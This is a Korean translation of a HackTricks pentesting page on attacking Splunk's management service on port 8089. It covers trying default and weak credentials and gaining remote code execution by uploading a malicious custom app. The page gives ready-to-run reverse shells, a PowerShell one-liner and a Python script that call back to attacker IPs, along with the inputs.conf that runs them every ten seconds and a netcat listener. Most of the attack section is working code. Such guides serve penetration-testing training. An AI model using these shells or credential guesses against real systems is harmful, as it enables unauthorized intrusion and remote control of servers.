hacktricks/network-services-pentesting/8089-splunkd.md

9.2 KiB

8089 - Splunkd 펜테스팅

htARTE (HackTricks AWS Red Team Expert)를 통해 **제로부터 영웅이 되는 AWS 해킹 배우기**

다른 방법으로 HackTricks를 지원하는 방법:

기본 정보

Splunk은 로그 분석 도구로, 데이터 수집, 분석 및 시각화에 중요한 역할을 합니다. 초기 목적은 SIEM (보안 정보 및 이벤트 관리) 도구로 사용되지 않았지만, 보안 모니터링비즈니스 분석 분야에서 인기를 얻었습니다.

Splunk 배포는 종종 민감한 데이터를 저장하고 시스템을 침해하는 경우 잠재적인 공격자에게 가치 있는 정보원으로 작용할 수 있습니다. 기본 포트: 8089

PORT     STATE SERVICE VERSION
8089/tcp open  http    Splunkd httpd

{% hint style="info" %} 스플렁크 웹 서버는 기본적으로 포트 8000에서 실행됩니다. {% endhint %}

열거

무료 버전

스플렁크 엔터프라이즈 평가판은 60일 후에 무료 버전으로 전환되며 인증이 필요하지 않습니다. 시스템 관리자가 스플렁크 평가판을 설치하여 테스트하는 것은 흔한 일이며, 그 후 잊혀지기 쉽습니다. 이는 인증 형태가 없는 무료 버전으로 자동 전환되어 환경에 보안 허점을 도입합니다. 일부 조직은 예산 제약으로 인해 무료 버전을 선택할 수 있으며, 사용자/역할 관리가 없을 때의 영향을 완전히 이해하지 못할 수 있습니다.

기본 자격 증명

이전 버전의 스플렁크에서는 기본 자격 증명이 **admin:changeme**으로 설정되어 있으며, 로그인 페이지에 편리하게 표시됩니다.
그러나 최신 버전의 스플렁크설치 과정 중에 자격 증명을 설정합니다. 기본 자격 증명이 작동하지 않는 경우 admin, Welcome, Welcome1, Password123 등과 같은 일반적인 약한 암호를 확인하는 것이 좋습니다.

정보 획득

스플렁크에 로그인하면 데이터를 탐색하고 보고서를 실행하며 대시보드를 생성하고, 스플렁크베이스 라이브러리에서 응용 프로그램을 설치하고 사용자 정의 응용 프로그램을 설치할 수 있습니다.
또한 코드를 실행할 수 있습니다: 스플렁크에는 서버 측 Django 응용 프로그램, REST 엔드포인트, 스크립트 입력 및 경보 스크립트와 같이 코드를 실행하는 여러 방법이 있습니다. 스플렁크 서버에서 원격 코드 실행을 얻는 일반적인 방법은 스크립트 입력을 사용하는 것입니다.

또한, 스플렁크는 Windows 또는 Linux 호스트에 설치할 수 있으므로, 스크립트 입력을 만들어 Bash, PowerShell 또는 Batch 스크립트를 실행할 수 있습니다.

Shodan

  • Splunk 빌드

RCE

사용자 정의 응용 프로그램 생성

사용자 정의 응용 프로그램은 Python, Batch, Bash 또는 PowerShell 스크립트를 실행할 수 있습니다.
스플렁크에는 Python이 설치되어 있으므로, Windows 시스템에서도 Python 코드를 실행할 수 있습니다.

여기에서 이 Splunk 패키지를 사용하여 도움을 받을 수 있습니다. 이 리포지토리의 bin 디렉토리에는 PythonPowerShell에 대한 예제가 있습니다. 이를 단계별로 진행해 봅시다.

이를 달성하기 위해 먼저 다음 디렉토리 구조를 사용하여 사용자 정의 스플렁크 응용 프로그램을 만들어야 합니다:

tree splunk_shell/

splunk_shell/
├── bin
└── default

bin 디렉토리에는 실행할 스크립트 (이 경우 PowerShell 역술 쉘)가 포함됩니다. 기본 디렉토리에는 inputs.conf 파일이 있을 것입니다. 우리의 역술 쉘은 PowerShell 원 라이너입니다:

$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close(

inputs.conf 파일은 Splunk에게 어떤 스크립트를 실행할지와 다른 조건을 알려줍니다. 여기서 우리는 앱을 활성화하고 Splunk에게 10초마다 스크립트를 실행하도록 지시합니다. 간격은 항상 초 단위이며, 이 설정이 있을 때만 입력(스크립트)이 실행됩니다.

cat inputs.conf

[script://./bin/rev.py]
disabled = 0
interval = 10
sourcetype = shell

[script://.\bin\run.bat]
disabled = 0
sourcetype = shell
interval = 10

우리는 응용 프로그램이 배포될 때 실행되고 PowerShell 원 라이너를 실행할 .bat 파일이 필요합니다.

다음 단계는 파일에서 앱 설치를 선택하고 응용 프로그램을 업로드하는 것입니다.

악의적인 사용자 정의 앱을 업로드하기 전에 Netcat이나 socat을 사용하여 리스너를 시작합시다.

sudo nc -lnvp 443

listening on [any] 443 ...

Upload app 페이지에서 브라우즈를 클릭하고, 이전에 생성한 tarball을 선택한 후 Upload를 클릭합니다. 애플리케이션을 업로드하는 즉시, 애플리케이션의 상태가 자동으로 Enabled로 전환되면서 리버스 쉘이 수신됩니다.

리눅스

만약 리눅스 호스트와 작업 중이라면, 사용자 정의 악의적 앱을 만들기 전에 rev.py 파이썬 스크립트를 편집해야 합니다. 나머지 과정은 동일하며, Netcat 수신기에서 리버스 쉘 연결을 받아들이고 작업을 시작할 수 있습니다.

import sys,socket,os,pty

ip="10.10.14.15"
port="443"
s=socket.socket()
s.connect((ip,int(port)))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn('/bin/bash')

RCE & Privilege Escalation

다음 페이지에서는이 서비스가 어떻게 남용되어 권한 상승 및 지속성 획득에 이용될 수 있는지에 대한 설명을 찾을 수 있습니다:

{% content-ref url="../linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md" %} splunk-lpe-and-persistence.md {% endcontent-ref %}

References

제로부터 영웅이 될 때까지 AWS 해킹 배우기 htARTE (HackTricks AWS Red Team Expert)!

HackTricks를 지원하는 다른 방법: